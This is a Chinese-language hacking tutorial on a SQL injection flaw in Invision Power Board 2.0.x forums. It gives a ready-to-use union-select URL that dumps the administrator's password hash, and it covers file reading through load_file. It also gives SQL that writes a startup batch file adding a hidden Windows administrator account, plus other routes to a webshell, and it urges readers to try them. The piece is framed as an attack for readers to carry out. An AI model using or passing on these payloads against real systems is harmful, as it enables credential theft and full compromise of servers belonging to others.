任何论坛都不是绝对安全的,前些日子不也是在流传动网7.0sp2的漏洞吗?PHP的论坛也不闲着,今天我们就来看看一款PHP论坛的ipb的漏洞。申明一下:该漏洞是国外的安全组织RusH security team首先发现的。
该漏洞的描述见下:
由于IpB在回复发贴的时候qpid参数过滤不周,导致union语句的执行。成功执行的结果可以执行SQL语句。至少我们可以得到管理员的密码HASH,从而欺骗进入后台。收该漏洞影响的版本为:Ipb2.0.0 - 2.0.2。直接按照RusH security team的操作来做。结果失败。没办法,只好把源文件抓出来分析。
一. 漏洞的分析
下载一个IPB2.0的版本来看看,找到源文件有问题的地方,注意一下,一切都在magic_quote=on的条件下进行的:
代码
if ( ! $ibforums->input['qpid'] ) { $ibforums->input['qpid'] = preg_replace( "/[^,\d]/", "", trim($std->my_getcookie('mqtids')) ); if ($ibforums->input['qpid'] == ",") { $ibforums->input['qpid'] = ""; } } else { //----------------------------------------- // Came from reply button //----------------------------------------- $ibforums->input['parent_id'] = $ibforums->input['qpid']; } if ( $ibforums->input['qpid'] ) { $std->my_setcookie('mqtids', ',', 0); $this->quoted_pids = preg_split( '/,/', $ibforums->input['qpid'], -1, PREG_SPLIT_NO_EMPTY ); //----------------------------------------- // Do we have right and snapback in BBCode? //----------------------------------------- if ( is_array( $ibforums->cache['bbcode'] ) and ......(以下省略几行) if ( count($this->quoted_pids) ) { $DB->cache_add_query( 'post_get_quoted', array( 'quoted_pids' => $this->quoted_pids ) ); $DB->cache_exec_query(); .......
程序首先把传入的qpid作正则替换,要求qpid的形式为:xx,xx,xx这样的数字分割形式。如果正则替换后的qpid为空,那么程序就把pqid设置为空。得到不为空的qpid后,程序把它分开成数组(逗号分开的);最后检查quoted_pids数组的个数如果不为灵的话就执行关键的MYSQL查询。为了得到这个查询地址,我们在程序中设置断点,结果在程序页面里面得到了这样的MySQL查询语句:
select p.,t.forum_id FROM ibf_posts p LEFT join ibf_topics t ON (t.tid=p.topic_id) where pid IN (23,12)select p., m.mgroup FROM ibf_posts p LEFT join ibf_members m ON (m.id=p.author_id) where topic_id=2 and queued <> 1 ORDER BY pid DESC LIMIT 0,10
看到pid in (23,12)这个数值了吗?其实"23,12"这个东西就是从qpid这个值里面传进去的。Ok,现在我们可以用一句话union得到管理员的密码。我象构造 union语句我就不用多解释了。我是这样构造的:
http://xx.xx.xx.xx/ipb2/index.php?s=432db2970909962429a6b2124109048c&act=POST&CODE=02&f=2&t=1&qpid=66666)%20union%20select%201,1,1,1,1,1,1,1,1,1,CONCAT(id,char(58),name,char(58),member_login_key),1,1,1,1,1,1,1,1,1%20from%20ibf_members%20where%20id=1%20/*
呵呵,结果我们成功的在网页里面读到了用户ID=1的密码HASH。当然了,MYSQL语句是你自己的,你想怎么玩就怎么玩。看看咋们的结果吧:
看到了吧,root的hash值:e12241b318807c66c37134c35f882ad6.。
CONCAT(id,char(58),name,char(58),member_login_key)这个就是union的暴出语句。快去试试吧。
二. 更进一步的发掘漏洞
漏洞既然可以让我们构造union语句,那么为什么我们不可以直接利用loadfile 得到文件内容呢。Loadfile需要支持绝对路径,只要我们有办法得到网站的绝对路径,那么直接拿\ips_kernel\ class_db_mysql.php的东西不是问题吧。我在本地的文件路径是:C:\AppServ\www\ipb2\ 现在我们就来提取该目录下面的admin.php文件。当然了,这个路径我们要编码一下。
呵呵,替换上面的字符,我们得到:
请你不要问我,怎么得到程序的绝对路径好吗。这个是你看这个文章的基础,也是促使你不断学习的地方。保留一招好了。:-)。
三. 假设的攻击
假设上面的东西你都会了。那么你需要怎么样的进一步发展得到webshell呢?
1. 得到数据库的密码,从数据库导出一个wenshell
2. 得到admin的密码hash,直接用管理员登陆,上传木马
3. 用mysql直接往服务器的"C:\Documents and Settings"目录写启动文件(限windows):
insert INTO shell ( shell ) VALUES ('net localgrorp administrators softbug /add '); select * FROM shell into outfile 'C:\Documents and Settings\Administrator\ 「开始」菜单 \程序\启动\ccc.bat'; select * FROM shell into outfile 'C:\Documents and Settings\All Users\ 「开始」菜单 \程序\启动\ccc.bat'; select * FROM shell into outfile 'C:\Documents and Settings\Administrator \ 「开始」菜单 \程序\启动\ccc.bat';
剩下的就等管理员启动计算机吧。
4.Cookies欺骗,这个可能简单点.
四. 后记
其实PHP注入不是你想象中的那么复杂,人人只要稍微学习了都会。这里我想说一下,我在调式这个程序的时候使用了php5.01的版本,可能版本太新,导致程序没办法安装,我的解决办法见下:
打开windows目录下面的配置php.ini
找到extension_dir = "./" 改为 extension_dir = "c:/php/ext"
c:/php是你的PHp安装目录。找到;extension=php_mysql.dll 将';'去掉。
重新启动Apache就ok了。